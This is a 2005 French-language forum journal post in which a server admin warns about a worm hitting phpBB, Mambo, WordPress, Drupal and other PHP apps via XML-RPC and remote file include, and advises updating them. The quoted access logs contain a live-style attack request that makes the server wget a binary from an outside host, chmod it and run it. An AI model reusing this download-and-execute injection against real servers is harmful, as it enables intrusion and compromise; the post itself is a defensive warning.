URL: https://linuxfr.org/users/b_adele/journaux/attention-%C3%A0-vos-serveurs-web-des-wormsvers-circule
Title: ATTENTION à vos serveurs web, des worms(vers) circule !
Authors: Bruno Adele
Date: 2005年12月17日T16:29:09+01:00
Tags: 
Score: 0
Cher journal, 
 
Je t'écrit pour t'annoncer qu'il y'a depuis quelque jours (environ depuis le 10 Dec 2005), une tres forte augmentation d'attaque sur mon serveur web (apache), d'ailleur il a **réussi à se faire compromettre.** 
 
Voici les test qu 'il essait de faire 
 
 xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:08 +0100] "GET /modules/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=[http://xxx.xxx.xx.xxx/cmd.gif?&cmd=cd%20/tmp;wget%20xxx.(...)](http://xxx.xxx.xx.xxx/cmd.gif?&cmd=cd%20/tmp;wget%20xxx.xxx.xxx.xxx/criman;chmod%20744%20criman;./criman;echo%20YYY;echo|) HTTP/1.1" 404 337 "-" 
 xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:09 +0100] "GET /Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=[http://xxx.xxx.xxx.xxx/cmd.gif?&cmd=cd%20/tmp;wget%20xxx(...)](http://xxx.xxx.xxx.xxx/cmd.gif?&cmd=cd%20/tmp;wget%20xxx.xxx.xxx.xxx/criman;chmod%20744%20criman;./criman;echo%20YYY;echo|) HTTP/1.1" 404 329 "-" 
 xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:14 +0100] "POST /xmlrpc.php HTTP/1.1" 404 294 "-" 
 xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:15 +0100] "POST /blog/xmlrpc.php HTTP/1.1" 404 299 "-" 
 xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:17 +0100] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 306 "-" 
 xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:18 +0100] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 307 "-" 
 xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:19 +0100] "POST /drupal/xmlrpc.php HTTP/1.1" 404 301 "-" 
 xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:20 +0100] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 307 "-" 
 xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:22 +0100] "POST /xmlrpc.php HTTP/1.1" 404 294 "-" 
 xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:24 +0100] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 301 "-" 
 xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:25 +0100] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 301 "-" 
 xxx.xxx.xxx.xxx - - [16/Dec/2005:19:38:16 +0100] "POST /wordpress/xmlrpc.php HTTP/1.1" 200 314 "-" 
 
 
Donc si vous avez les projets suivant 
** 
phpbb 
mambo 
wordpress 
phpgroupware 
drupal 
blogs** utilisant le support **xmlrpc** 
 
Je vous conseille de **mettre à jours ces applis** 
Et par la même occasion de **renommer** les urls de vos appli afin d'éviter ce genre de scan automatique(bien entendu si le site n'est pas connue des moteurs de recherche). 
 
Plus d'info ici 
[http://www.christopher-kunz.de/serendipity/archives/76-Mambo(...)](http://www.christopher-kunz.de/serendipity/archives/76-Mambo-worm-in-the-wild.html) 
Variante 
[http://vil.nai.com/vil/content/v_136821.htm](http://vil.nai.com/vil/content/v_136821.htm)
</div><div class="naked_ctrl">
<form action="/index.cgi/contrast" method="get" name="gate">
<p><a href="http://altstyle.alfasado.net">AltStyle</a> によって変換されたページ <a href="httpS://linuxfr.org/users/b_adele/journaux/attention-%C3%A0-vos-serveurs-web-des-wormsvers-circule.md">(-&gt;オリジナル)</a>
/ <label>アドレス: <input type="text" name="naked_post_url" value="httpS://linuxfr.org/users/b_adele/journaux/attention-%C3%A0-vos-serveurs-web-des-wormsvers-circule.md" size="22" /></label> <label>モード: <select name="naked_post_mode">
<option value="default">デフォルト</option>
<option value="speech">音声ブラウザ</option>
<option value="ruby">ルビ付き</option>
<option value="contrast" selected="selected">配色反転</option>
<option value="larger-text">文字拡大</option>
<option value="mobile">モバイル</option>
</select>
<input type="submit" value="表示" />
</p>
</form>
</div>